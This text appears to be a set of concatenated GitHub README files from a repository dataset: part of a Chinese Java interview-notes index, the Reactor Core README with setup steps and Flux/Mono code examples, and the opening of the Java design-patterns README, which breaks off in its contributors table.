- [深入理解线程通信](https://github.com/crossoverJie/JCSprout/blob/master/MD/concurrent/thread-communication.md)
- [一个线程罢工的诡异事件](docs/thread/thread-gone.md)
- [线程池中你不容错过的一些细节](docs/thread/thread-gone2.md)
- [『并发包入坑指北』之阻塞队列](docs/thread/ArrayBlockingQueue.md)
### JVM
- [Java 运行时内存划分](https://github.com/crossoverJie/JCSprout/blob/master/MD/MemoryAllocation.md)
- [类加载机制](https://github.com/crossoverJie/JCSprout/blob/master/MD/ClassLoad.md)
- [OOM 分析](https://github.com/crossoverJie/JCSprout/blob/master/MD/OOM-analysis.md)
- [垃圾回收](https://github.com/crossoverJie/JCSprout/blob/master/MD/GarbageCollection.md)
- [对象的创建与内存分配](https://github.com/crossoverJie/JCSprout/blob/master/MD/newObject.md)
- [你应该知道的 volatile 关键字](https://github.com/crossoverJie/JCSprout/blob/master/MD/concurrent/volatile.md)
- [一次内存溢出排查优化实战](https://crossoverjie.top/2018/08/29/java-senior/OOM-Disruptor/)
- [一次 HashSet 所引起的并发问题](docs/jvm/JVM-concurrent-HashSet-problem.md)
- [一次生产 CPU 100% 排查优化实践](docs/jvm/cpu-percent-100.md)
### 分布式相关
- [分布式限流](http://crossoverjie.top/2018/04/28/sbc/sbc7-Distributed-Limit/)
- [基于 Redis 的分布式锁](http://crossoverjie.top/2018/03/29/distributed-lock/distributed-lock-redis/)
- [分布式缓存设计](https://github.com/crossoverJie/JCSprout/blob/master/MD/Cache-design.md)
- [分布式 ID 生成器](https://github.com/crossoverJie/JCSprout/blob/master/MD/ID-generator.md)
### 常用框架\第三方组件
- [Spring Bean 生命周期](https://github.com/crossoverJie/JCSprout/blob/master/MD/spring/spring-bean-lifecycle.md)
- [Spring AOP 的实现原理](https://github.com/crossoverJie/JCSprout/blob/master/MD/SpringAOP.md)
- [Guava 源码分析（Cache 原理）](https://crossoverjie.top/2018/06/13/guava/guava-cache/)
- [轻量级 HTTP 框架](https://github.com/crossoverJie/cicada)
- [Kafka produce 源码分析](https://github.com/crossoverJie/JCSprout/blob/master/MD/kafka/kafka-product.md)
- [Kafka 消费实践](https://github.com/crossoverJie/JCSprout/blob/master/docs/frame/kafka-consumer.md)
### 架构设计
- [秒杀系统设计](https://github.com/crossoverJie/JCSprout/blob/master/MD/Spike.md)
- [秒杀架构实践](http://crossoverjie.top/2018/05/07/ssm/SSM18-seconds-kill/)
- [设计一个百万级的消息推送系统](https://github.com/crossoverJie/JCSprout/blob/master/MD/architecture-design/million-sms-push.md)
### DB 相关
- [MySQL 索引原理](https://github.com/crossoverJie/JCSprout/blob/master/MD/MySQL-Index.md)
- [SQL 优化](https://github.com/crossoverJie/JCSprout/blob/master/MD/SQL-optimization.md)
- [数据库水平垂直拆分](https://github.com/crossoverJie/JCSprout/blob/master/MD/DB-split.md)
- [一次分表踩坑实践的探讨](docs/db/sharding-db.md)
### 数据结构与算法
- [红包算法](https://github.com/crossoverJie/JCSprout/blob/master/src/main/java/com/crossoverjie/red/RedPacket.java)
- [二叉树层序遍历](https://github.com/crossoverJie/JCSprout/blob/master/src/main/java/com/crossoverjie/algorithm/BinaryNode.java#L76-L101)
- [是否为快乐数字](https://github.com/crossoverJie/JCSprout/blob/master/src/main/java/com/crossoverjie/algorithm/HappyNum.java#L38-L55)
- [链表是否有环](https://github.com/crossoverJie/JCSprout/blob/master/src/main/java/com/crossoverjie/algorithm/LinkLoop.java#L32-L59)
- [从一个数组中返回两个值相加等于目标值的下标](https://github.com/crossoverJie/JCSprout/blob/master/src/main/java/com/crossoverjie/algorithm/TwoSum.java#L38-L59)
- [一致性 Hash 算法原理](https://github.com/crossoverJie/JCSprout/blob/master/MD/Consistent-Hash.md)
- [一致性 Hash 算法实践](https://github.com/crossoverJie/JCSprout/blob/master/docs/algorithm/consistent-hash-implement.md)
- [限流算法](https://github.com/crossoverJie/JCSprout/blob/master/MD/Limiting.md)
- [三种方式反向打印单向链表](https://github.com/crossoverJie/JCSprout/blob/master/src/main/java/com/crossoverjie/algorithm/ReverseNode.java)
- [合并两个排好序的链表](https://github.com/crossoverJie/JCSprout/blob/master/src/main/java/com/crossoverjie/algorithm/MergeTwoSortedLists.java)
- [两个栈实现队列](https://github.com/crossoverJie/JCSprout/blob/master/src/main/java/com/crossoverjie/algorithm/TwoStackQueue.java)
- [动手实现一个 LRU cache](http://crossoverjie.top/2018/04/07/algorithm/LRU-cache/)
- [链表排序](./src/main/java/com/crossoverjie/algorithm/LinkedListMergeSort.java)
- [数组右移 k 次](./src/main/java/com/crossoverjie/algorithm/ArrayKShift.java)
- [交替打印奇偶数](https://github.com/crossoverJie/JCSprout/blob/master/src/main/java/com/crossoverjie/actual/TwoThread.java)
- [亿级数据中判断数据是否不存在](https://github.com/crossoverJie/JCSprout/blob/master/docs/algorithm/guava-bloom-filter.md)
### Netty 相关
- [SpringBoot 整合长连接心跳机制](https://crossoverjie.top/2018/05/24/netty/Netty(1)TCP-Heartbeat/)
- [从线程模型的角度看 Netty 为什么是高性能的？](https://crossoverjie.top/2018/07/04/netty/Netty(2)Thread-model/)
- [为自己搭建一个分布式 IM(即时通讯) 系统](https://github.com/crossoverJie/cim)
### 附加技能
- [TCP/IP 协议](https://github.com/crossoverJie/JCSprout/blob/master/MD/TCP-IP.md)
- [一个学渣的阿里之路](https://crossoverjie.top/2018/06/21/personal/Interview-experience/)
- [如何成为一位「不那么差」的程序员](https://crossoverjie.top/2018/08/12/personal/how-to-be-developer/)
- [如何高效的使用 Git](https://github.com/crossoverJie/JCSprout/blob/master/MD/additional-skills/how-to-use-git-efficiently.md)
### 联系作者
> crossoverJie#gmail.com
| 0 |
reactor/reactor-core | Non-Blocking Reactive Foundation for the JVM | asynchronous flow flux jvm mono reactive reactive-extensions reactive-streams | # Reactor Core
[](https://gitter.im/reactor/reactor?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
[](https://mvnrepository.com/artifact/io.projectreactor/reactor-core) []()
[](https://github.com/reactor/reactor-core/actions/workflows/publish.yml)
[]()
[](https://lgtm.com/projects/g/reactor/reactor-core/context:java)
[](https://lgtm.com/projects/g/reactor/reactor-core/alerts)
Non-Blocking [Reactive Streams](https://www.reactive-streams.org/) Foundation for the JVM both implementing a [Reactive Extensions](https://reactivex.io) inspired API and efficient event streaming support.
Since `3.3.x`, this repository also contains `reactor-tools`, a java agent aimed at helping with debugging of Reactor code.
## Getting it
**Reactor 3 requires Java 8 or + to run**.
With Gradle from repo.spring.io or Maven Central repositories (stable releases only):
```groovy
repositories {
mavenCentral()
// Uncomment to get access to Milestones
// maven { url "https://repo.spring.io/milestone" }
// Uncomment to get access to Snapshots
// maven { url "https://repo.spring.io/snapshot" }
}
dependencies {
compile "io.projectreactor:reactor-core:3.7.0-M1"
testCompile "io.projectreactor:reactor-test:3.7.0-M1"
// Alternatively, use the following for latest snapshot artifacts in this line
// compile "io.projectreactor:reactor-core:3.6.6-SNAPSHOT"
// testCompile "io.projectreactor:reactor-test:3.6.6-SNAPSHOT"
// Optionally, use `reactor-tools` to help debugging reactor code
// implementation "io.projectreactor:reactor-tools:3.7.0-M1"
}
```
See the [reference documentation](https://projectreactor.io/docs/core/release/reference/docs/index.html#getting)
for more information on getting it (eg. using Maven, or on how to get milestones and snapshots).
> **Note about Android support**: Reactor 3 doesn't officially support nor target Android.
However it should work fine with Android SDK 21 (Android 5.0) and above. See the
[complete note](https://projectreactor.io/docs/core/release/reference/docs/index.html#prerequisites)
in the reference guide.
## Trouble building the project?
Since the introduction of [Java Multi-Release JAR File](https://openjdk.org/jeps/238)
support one needs to have JDK 8, 9, and 21 available on the classpath. All the JDKs should
be automatically [detected](https://docs.gradle.org/current/userguide/toolchains.html#sec:auto_detection)
or [provisioned](https://docs.gradle.org/current/userguide/toolchains.html#sec:provisioning)
by Gradle Toolchain.
However, if you see error message such as `No matching toolchains found for requested
specification: {languageVersion=X, vendor=any, implementation=vendor-specific}` (where
`X` can be 8, 9 or 21), it means that you need to install the missing JDK:
### Installing JDKs with [SDKMAN!](https://sdkman.io/)
In the project root folder run [SDKMAN env initialization](https://sdkman.io/usage#env):
```shell
sdk env install
```
then (if needed) install JDK 9:
```shell
sdk install java $(sdk list java | grep -Eo -m1 '9\b\.[ea|0-9]{1,2}\.[0-9]{1,2}-open')
```
then (if needed) install JDK 21:
```shell
sdk install java $(sdk list java | grep -Eo -m1 '21\b\.[ea|0-9]{1,2}\.[0-9]{1,2}-open')
```
When the installations succeed, try to refresh the project and see that it builds.
### Installing JDKs manually
The manual Operation-system specific JDK installation
is well explained in the [official docs](https://docs.oracle.com/en/java/javase/20/install/overview-jdk-installation.html)
## Getting Started
New to Reactive Programming or bored of reading already ? Try the [Introduction to Reactor Core hands-on](https://github.com/reactor/lite-rx-api-hands-on) !
If you are familiar with RxJava or if you want to check more detailed introduction, be sure to check
https://www.infoq.com/articles/reactor-by-example !
## Flux
A Reactive Streams Publisher with basic flow operators.
- Static factories on Flux allow for source generation from arbitrary callbacks types.
- Instance methods allows operational building, materialized on each subscription (_Flux#subscribe()_, ...) or multicasting operations (such as _Flux#publish_ and _Flux#publishNext_).
[<img src="https://raw.githubusercontent.com/reactor/reactor-core/v3.1.3.RELEASE/src/docs/marble/flux.png" width="500" style="background-color: white">](https://projectreactor.io/docs/core/release/api/reactor/core/publisher/Flux.html)
Flux in action :
```java
Flux.fromIterable(getSomeLongList())
.mergeWith(Flux.interval(100))
.doOnNext(serviceA::someObserver)
.map(d -> d * 2)
.take(3)
.onErrorResume(errorHandler::fallback)
.doAfterTerminate(serviceM::incrementTerminate)
.subscribe(System.out::println);
```
## Mono
A Reactive Streams Publisher constrained to *ZERO* or *ONE* element with appropriate operators.
- Static factories on Mono allow for deterministic *zero or one* sequence generation from arbitrary callbacks types.
- Instance methods allows operational building, materialized on each _Mono#subscribe()_ or _Mono#get()_ eventually called.
[<img src="https://raw.githubusercontent.com/reactor/reactor-core/v3.4.1/reactor-core/src/main/java/reactor/core/publisher/doc-files/marbles/mono.svg" width="500" style="background-color: white">](https://projectreactor.io/docs/core/release/api/reactor/core/publisher/Mono.html)
Mono in action :
```java
Mono.fromCallable(System::currentTimeMillis)
.flatMap(time -> Mono.first(serviceA.findRecent(time), serviceB.findRecent(time)))
.timeout(Duration.ofSeconds(3), errorHandler::fallback)
.doOnSuccess(r -> serviceM.incrementSuccess())
.subscribe(System.out::println);
```
Blocking Mono result :
```java
Tuple2<Long, Long> nowAndLater =
Mono.zip(
Mono.just(System.currentTimeMillis()),
Flux.just(1).delay(1).map(i -> System.currentTimeMillis()))
.block();
```
## Schedulers
Reactor uses a [Scheduler](https://projectreactor.io/docs/core/release/api/reactor/core/scheduler/Scheduler.html) as a
contract for arbitrary task execution. It provides some guarantees required by Reactive
Streams flows like FIFO execution.
You can use or create efficient [schedulers](https://projectreactor.io/docs/core/release/api/reactor/core/scheduler/Schedulers.html)
to jump thread on the producing flows (subscribeOn) or receiving flows (publishOn):
```java
Mono.fromCallable( () -> System.currentTimeMillis() )
.repeat()
.publishOn(Schedulers.single())
.log("foo.bar")
.flatMap(time ->
Mono.fromCallable(() -> { Thread.sleep(1000); return time; })
.subscribeOn(Schedulers.parallel())
, 8) //maxConcurrency 8
.subscribe();
```
## ParallelFlux
[ParallelFlux](https://projectreactor.io/docs/core/release/api/reactor/core/publisher/ParallelFlux.html) can starve your CPU's from any sequence whose work can be subdivided in concurrent
tasks. Turn back into a `Flux` with `ParallelFlux#sequential()`, an unordered join or
use arbitrary merge strategies via 'groups()'.
```java
Mono.fromCallable( () -> System.currentTimeMillis() )
.repeat()
.parallel(8) //parallelism
.runOn(Schedulers.parallel())
.doOnNext( d -> System.out.println("I'm on thread "+Thread.currentThread()) )
.subscribe()
```
## Custom sources : Flux.create and FluxSink, Mono.create and MonoSink
To bridge a Subscriber or Processor into an outside context that is taking care of
producing non concurrently, use `Flux#create`, `Mono#create`.
```java
Flux.create(sink -> {
ActionListener al = e -> {
sink.next(textField.getText());
};
// without cancellation support:
button.addActionListener(al);
// with cancellation support:
sink.onCancel(() -> {
button.removeListener(al);
});
},
// Overflow (backpressure) handling, default is BUFFER
FluxSink.OverflowStrategy.LATEST)
.timeout(3)
.doOnComplete(() -> System.out.println("completed!"))
.subscribe(System.out::println)
```
## The Backpressure Thing
Most of this cool stuff uses bounded ring buffer implementation under the hood to mitigate signal processing difference between producers and consumers. Now, the operators and processors or any standard reactive stream component working on the sequence will be instructed to flow in when these buffers have free room AND only then. This means that we make sure we both have a deterministic capacity model (bounded buffer) and we never block (request more data on write capacity). Yup, it's not rocket science after all, the boring part is already being worked by us in collaboration with [Reactive Streams Commons](https://github.com/reactor/reactive-streams-commons) on going research effort.
## What's more in it ?
"Operator Fusion" (flow optimizers), health state observers, helpers to build custom reactive components, bounded queue generator, converters from/to Java 9 Flow, Publisher and Java 8 CompletableFuture. The repository contains a `reactor-test` project with test features like the [`StepVerifier`](https://projectreactor.io/docs/test/release/api/index.html?reactor/test/StepVerifier.html).
-------------------------------------
## Reference Guide
https://projectreactor.io/docs/core/release/reference/docs/index.html
## Javadoc
https://projectreactor.io/docs/core/release/api/
## Getting started with Flux and Mono
https://github.com/reactor/lite-rx-api-hands-on
## Reactor By Example
https://www.infoq.com/articles/reactor-by-example
## Head-First Spring & Reactor
https://github.com/reactor/head-first-reactive-with-spring-and-reactor/
## Beyond Reactor Core
- Everything to jump outside the JVM with the non-blocking drivers from [Reactor Netty](https://github.com/reactor/reactor-netty).
- [Reactor Addons](https://github.com/reactor/reactor-addons) provide for adapters and extra operators for Reactor 3.
-------------------------------------
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_Licensed under [Apache Software License 2.0](https://www.apache.org/licenses/LICENSE-2.0)_
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iluwatar/java-design-patterns | Design patterns implemented in Java | awesome-list design-patterns hacktoberfest java principles snippets snippets-collection snippets-library | <!-- the line below needs to be an empty line C: (its because kramdown isn't
that smart and dearly wants an empty line before a heading to be able to
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# Design patterns implemented in Java
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[](#contributors-)
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<br/>
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<br/>
# Introduction
Design patterns are the best, formalized practices a programmer can use to
solve common problems when designing an application or system.
Design patterns can speed up the development process by providing tested, proven
development paradigms.
Reusing design patterns helps prevent subtle issues that cause major
problems, and it also improves code readability for coders and architects who
are familiar with the patterns.
# Getting started
This site showcases Java Design Patterns. The solutions have been developed by
experienced programmers and architects from the open-source community. The
patterns can be browsed by their high-level descriptions or by looking at their
source code. The source code examples are well commented and can be thought of as
programming tutorials on how to implement a specific pattern. We use the most
popular battle-proven open-source Java technologies.
Before you dive into the material, you should be familiar with various
[Software Design Principles](https://java-design-patterns.com/principles/).
All designs should be as simple as possible. You should start with KISS, YAGNI,
and Do The Simplest Thing That Could Possibly Work principles. Complexity and
patterns should only be introduced when they are needed for practical
extensibility.
Once you are familiar with these concepts you can start drilling down into the
[available design patterns](https://java-design-patterns.com/patterns/) by any
of the following approaches
- Search for a specific pattern by name. Can't find one? Please report a new pattern [here](https://github.com/iluwatar/java-design-patterns/issues).
- Using tags such as `Performance`, `Gang of Four` or `Data access`.
- Using pattern categories, `Creational`, `Behavioral`, and others.
Hopefully, you find the object-oriented solutions presented on this site useful
in your architectures and have as much fun learning them as we had while developing them.
# How to contribute
If you are willing to contribute to the project you will find the relevant information in
our [developer wiki](https://github.com/iluwatar/java-design-patterns/wiki). We will help
you and answer your questions in the [Gitter chatroom](https://gitter.im/iluwatar/java-design-patterns).
# License
This project is licensed under the terms of the MIT license.
# Contributors
<!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section -->
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<table>
<tbody>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/iluwatar"><img src="https://avatars1.githubusercontent.com/u/582346?v=4?s=100" width="100px;" alt="Ilkka Seppälä"/><br /><sub><b>Ilkka Seppälä</b></sub></a><br /><a href="#projectManagement-iluwatar" title="Project Management">📆</a> <a href="#maintenance-iluwatar" title="Maintenance">🚧</a> <a href="#content-iluwatar" title="Content">🖋</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://subho.xyz"><img src="https://avatars0.githubusercontent.com/u/13291222?v=4?s=100" width="100px;" alt="Subhrodip Mohanta"/><br /><sub><b>Subhrodip Mohanta</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=ohbus" title="Code">💻</a> <a href="https://github.com/iluwatar/java-design-patterns/pulls?q=is%3Apr+reviewed-by%3Aohbus" title="Reviewed Pull Requests">👀</a> <a href="#maintenance-ohbus" title="Maintenance">🚧</a></td>
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<td align="center" valign="top" width="14.28%"><a href="https://github.com/thomasoss"><img src="https://avatars1.githubusercontent.com/u/22516154?v=4?s=100" width="100px;" alt="Thomas"/><br /><sub><b>Thomas</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=thomasoss" title="Code">💻</a></td>
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<td align="center" valign="top" width="14.28%"><a href="http://cs.joensuu.fi/~zkhayda"><img src="https://avatars2.githubusercontent.com/u/660742?v=4?s=100" width="100px;" alt="Zafar Khaydarov"/><br /><sub><b>Zafar Khaydarov</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=zafarella" title="Code">💻</a> <a href="https://github.com/iluwatar/java-design-patterns/commits?author=zafarella" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://kemitix.github.io/"><img src="https://avatars1.githubusercontent.com/u/1147749?v=4?s=100" width="100px;" alt="Paul Campbell"/><br /><sub><b>Paul Campbell</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=kemitix" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Argyro-Sioziou"><img src="https://avatars0.githubusercontent.com/u/22822639?v=4?s=100" width="100px;" alt="Argyro Sioziou"/><br /><sub><b>Argyro Sioziou</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=Argyro-Sioziou" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/TylerMcConville"><img src="https://avatars0.githubusercontent.com/u/4946449?v=4?s=100" width="100px;" alt="TylerMcConville"/><br /><sub><b>TylerMcConville</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=TylerMcConville" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/saksham93"><img src="https://avatars1.githubusercontent.com/u/37399540?v=4?s=100" width="100px;" alt="saksham93"/><br /><sub><b>saksham93</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=saksham93" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/nikhilbarar"><img src="https://avatars2.githubusercontent.com/u/37332144?v=4?s=100" width="100px;" alt="nikhilbarar"/><br /><sub><b>nikhilbarar</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=nikhilbarar" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://colinbut.com"><img src="https://avatars2.githubusercontent.com/u/10725674?v=4?s=100" width="100px;" alt="Colin But"/><br /><sub><b>Colin But</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=colinbut" title="Code">💻</a></td>
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<td align="center" valign="top" width="14.28%"><a href="https://github.com/ruslanpa"><img src="https://avatars2.githubusercontent.com/u/1503411?v=4?s=100" width="100px;" alt="Ruslan"/><br /><sub><b>Ruslan</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=ruslanpa" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/JuhoKang"><img src="https://avatars1.githubusercontent.com/u/4745294?v=4?s=100" width="100px;" alt="Juho Kang"/><br /><sub><b>Juho Kang</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=JuhoKang" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/dheeraj-mummareddy"><img src="https://avatars2.githubusercontent.com/u/7002230?v=4?s=100" width="100px;" alt="Dheeraj Mummareddy"/><br /><sub><b>Dheeraj Mummareddy</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=dheeraj-mummareddy" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://www.bernardosulzbach.com"><img src="https://avatars0.githubusercontent.com/u/8271090?v=4?s=100" width="100px;" alt="Bernardo Sulzbach"/><br /><sub><b>Bernardo Sulzbach</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=bernardosulzbach" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/4lexis"><img src="https://avatars0.githubusercontent.com/u/19871727?v=4?s=100" width="100px;" alt="Aleksandar Dudukovic"/><br /><sub><b>Aleksandar Dudukovic</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=4lexis" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://www.yusufaytas.com"><img src="https://avatars2.githubusercontent.com/u/1049483?v=4?s=100" width="100px;" alt="Yusuf Aytaş"/><br /><sub><b>Yusuf Aytaş</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=yusufaytas" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://futurehomes.hu"><img src="https://avatars2.githubusercontent.com/u/1001491?v=4?s=100" width="100px;" alt="Mihály Kuprivecz"/><br /><sub><b>Mihály Kuprivecz</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=qpi" title="Code">💻</a></td>
</tr>
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<td align="center" valign="top" width="14.28%"><a href="https://github.com/kapinuss"><img src="https://avatars0.githubusercontent.com/u/17639945?v=4?s=100" width="100px;" alt="Stanislav Kapinus"/><br /><sub><b>Stanislav Kapinus</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=kapinuss" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/gvsharma"><img src="https://avatars1.githubusercontent.com/u/6648152?v=4?s=100" width="100px;" alt="GVSharma"/><br /><sub><b>GVSharma</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=gvsharma" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/SrdjanPaunovic"><img src="https://avatars1.githubusercontent.com/u/22815104?v=4?s=100" width="100px;" alt="Srđan Paunović"/><br /><sub><b>Srđan Paunović</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=SrdjanPaunovic" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://sideris.xyz/"><img src="https://avatars3.githubusercontent.com/u/5484694?v=4?s=100" width="100px;" alt="Petros G. Sideris"/><br /><sub><b>Petros G. Sideris</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=sideris" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://www.linkedin.com/in/pramodgupta3/"><img src="https://avatars1.githubusercontent.com/u/2184241?v=4?s=100" width="100px;" alt="Pramod Gupta"/><br /><sub><b>Pramod Gupta</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/pulls?q=is%3Apr+reviewed-by%3AIAmPramod" title="Reviewed Pull Requests">👀</a></td>
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<td align="center" valign="top" width="14.28%"><a href="https://github.com/Anurag870"><img src="https://avatars1.githubusercontent.com/u/6295975?v=4?s=100" width="100px;" alt="Anurag870"/><br /><sub><b>Anurag870</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=Anurag870" title="Code">💻</a> <a href="https://github.com/iluwatar/java-design-patterns/commits?author=Anurag870" title="Documentation">📖</a></td>
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<td align="center" valign="top" width="14.28%"><a href="http://theerroris.me"><img src="https://avatars0.githubusercontent.com/u/1685953?v=4?s=100" width="100px;" alt="Wes Gilleland"/><br /><sub><b>Wes Gilleland</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=Deathnerd" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Harshrajsinh"><img src="https://avatars2.githubusercontent.com/u/22811531?v=4?s=100" width="100px;" alt="Harshraj Thakor"/><br /><sub><b>Harshraj Thakor</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=Harshrajsinh" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/MaVdbussche"><img src="https://avatars1.githubusercontent.com/u/26136934?v=4?s=100" width="100px;" alt="Martin Vandenbussche"/><br /><sub><b>Martin Vandenbussche</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=MaVdbussche" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://alexsomai.com"><img src="https://avatars1.githubusercontent.com/u/5720977?v=4?s=100" width="100px;" alt="Alexandru Somai"/><br /><sub><b>Alexandru Somai</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=alexsomai" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/amogozov"><img src="https://avatars3.githubusercontent.com/u/7372215?v=4?s=100" width="100px;" alt="Artur Mogozov"/><br /><sub><b>Artur Mogozov</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=amogozov" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/anthonycampbell"><img src="https://avatars3.githubusercontent.com/u/10249255?v=4?s=100" width="100px;" alt="anthony"/><br /><sub><b>anthony</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=anthonycampbell" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://ccygnus.com/"><img src="https://avatars1.githubusercontent.com/u/9342724?v=4?s=100" width="100px;" alt="Christian Cygnus"/><br /><sub><b>Christian Cygnus</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=christophercolumbusdog" title="Code">💻</a></td>
</tr>
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<td align="center" valign="top" width="14.28%"><a href="https://about.me/dzmitryh"><img src="https://avatars2.githubusercontent.com/u/5390492?v=4?s=100" width="100px;" alt="Dima Gubin"/><br /><sub><b>Dima Gubin</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=dzmitryh" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/jjjimenez100"><img src="https://avatars3.githubusercontent.com/u/22243493?v=4?s=100" width="100px;" alt="Joshua Jimenez"/><br /><sub><b>Joshua Jimenez</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=jjjimenez100" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://about.me/kaiwinter"><img src="https://avatars0.githubusercontent.com/u/110982?v=4?s=100" width="100px;" alt="Kai Winter"/><br /><sub><b>Kai Winter</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=kaiwinter" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/lbroman"><img src="https://avatars1.githubusercontent.com/u/86007?v=4?s=100" width="100px;" alt="lbroman"/><br /><sub><b>lbroman</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=lbroman" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://przemeknowak.com"><img src="https://avatars1.githubusercontent.com/u/3254609?v=4?s=100" width="100px;" alt="Przemek"/><br /><sub><b>Przemek</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=pnowy" title="Code">💻</a></td>
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<tr>
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<td align="center" valign="top" width="14.28%"><a href="https://github.com/valdar-hu"><img src="https://avatars3.githubusercontent.com/u/17962817?v=4?s=100" width="100px;" alt="Krisztián Nagy"/><br /><sub><b>Krisztián Nagy</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=valdar-hu" title="Code">💻</a></td>
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<td align="center" valign="top" width="14.28%"><a href="http://adamski.pro"><img src="https://avatars1.githubusercontent.com/u/6537430?v=4?s=100" width="100px;" alt="adamski.pro"/><br /><sub><b>adamski.pro</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=akrystian" title="Code">💻</a></td>
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<td align="center" valign="top" width="14.28%"><a href="https://github.com/kirill-vlasov"><img src="https://avatars3.githubusercontent.com/u/16112495?v=4?s=100" width="100px;" alt="Kirill Vlasov"/><br /><sub><b>Kirill Vlasov</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=kirill-vlasov" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://mitchell-irvin.com"><img src="https://avatars0.githubusercontent.com/u/16233245?v=4?s=100" width="100px;" alt="Mitchell Irvin"/><br /><sub><b>Mitchell Irvin</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=mitchellirvin" title="Code">💻</a></td>
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<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/kanwarpreet25"><img src="https://avatars0.githubusercontent.com/u/39183641?v=4?s=100" width="100px;" alt="kanwarpreet25"/><br /><sub><b>kanwarpreet25</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=kanwarpreet25" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://leonmak.me"><img src="https://avatars3.githubusercontent.com/u/13071508?v=4?s=100" width="100px;" alt="Leon Mak"/><br /><sub><b>Leon Mak</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=leonmak" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://www.wramdemark.se"><img src="https://avatars2.githubusercontent.com/u/7052193?v=4?s=100" width="100px;" alt="Per Wramdemark"/><br /><sub><b>Per Wramdemark</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=perwramdemark" title="Code">💻</a></td>
